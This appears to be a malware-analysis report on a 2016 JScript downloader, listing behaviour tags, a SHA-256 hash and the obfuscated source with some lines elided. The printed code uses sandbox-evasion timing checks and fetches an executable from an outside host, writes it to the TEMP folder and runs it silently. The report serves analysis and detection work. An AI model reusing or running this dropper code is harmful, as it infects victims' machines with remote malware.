20160328_7547da33c5708b43340a261797d5dc62.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25696210c5c27d184f2fc5a47fa1ed98811e1d25a5c88f09ee187cc1726bec3d7a4
Evidence
1var Zvxvmg = false;
2var Qcdkmaajoz = "CreateObject";
3var Guufz = function Chlvr() {return WScript[Qcdkmaajoz]("WScript.Shell");}();
4var Lsugx = 123213;
5var Uqjuim = "MSXML2.XMLHTTP";
6var Hjkegwpq = 2123213;
7var Ferrghowu = 0;
8function Wqkerage(Xirtqjh){Guufz["Run"](Xirtqjh, Ferrghowu, Ferrghowu);};
9function Pokdozrh(){return Uqjuim;};
10function Uokymhwnhl(Ifpdt, Inwfifymo){return Ifpdt - Inwfifymo;};
11function Yjwaweife(){return Qcdkmaajoz;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Zvxvmg = true;
15 @end
⋯6 lines
22function Vhwbdtloi()
23{
24var Eklhdeiuq = new this["Date"]();
25var Lvmmo = Eklhdeiuq["getUTCMilliseconds"]();
26WScript["Sleep"](Vhehyasls());
27var Eklhdeiuq = new this["Date"]();
28var Jspslwfaen = Eklhdeiuq["getUTCMilliseconds"]();
⋯6 lines
38}
39var Yjajydl = false;
40var Gcdxjrfdd = false;
41for (var Urjhjatth = Ferrghowu; Urjhjatth < Vhehyasls() * 1; Urjhjatth++){if (Vhwbdtloi() != Ferrghow …
49:11… l && Mckhmekqqy() && Gcdxjrfdd){
50function Dmqgtznodo() {return Guufz["ExpandEnvironmentStrings"]("%TEMP%/") + "CoDokDM8lZXMUez.exe";};
51 Jcbjeywy = Pokdozrh();
52 Lxnzgllri = WScript[Qcdkmaajoz](Jcbjeywy);
53 var Xhiycvqmm = 1;
54 while (Xhiycvqmm){
55try {
56Lxnzgllri[Oyfbiutpta]("GET", "http://finnskogen-oppvekstsenter.com/o4paka", false);
57Lxnzgllri["send"]();
58Vlzstqnxo = "Sleep";
59do {WScript[Vlzstqnxo](Vhehyasls() * 11)} while (Lxnzgllri["readystate"] < 4 );
60Xhiycvqmm = Ferrghowu;
61} catch(Vjnepxbly){Xhiycvqmm = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Rdcsdh(Fjzobk) {var Axsfrga = (1, 2, 3, 4, 5, Fjzobk); return Axsfrga;};
64Ahcgujhb = WScript[Yjwaweife()]("ADODB.Stream");
65Jcbjeywy = Ahcgujhb;
66Jcbjeywy[Oyfbiutpta]();
67Jcbjeywy["type"] = Rdcsdh(1);
68Jcbjeywy["write"](Lxnzgllri["ResponseBody"]);
69Ahcgujhb["position"] = Rdcsdh(Ferrghowu);
70Jcbjeywy["SaveToFile"](Dmqgtznodo(), Rdcsdh(2) );
71Ahcgujhb["close"]();
72Wqkerage(Dmqgtznodo());
73}
74}
75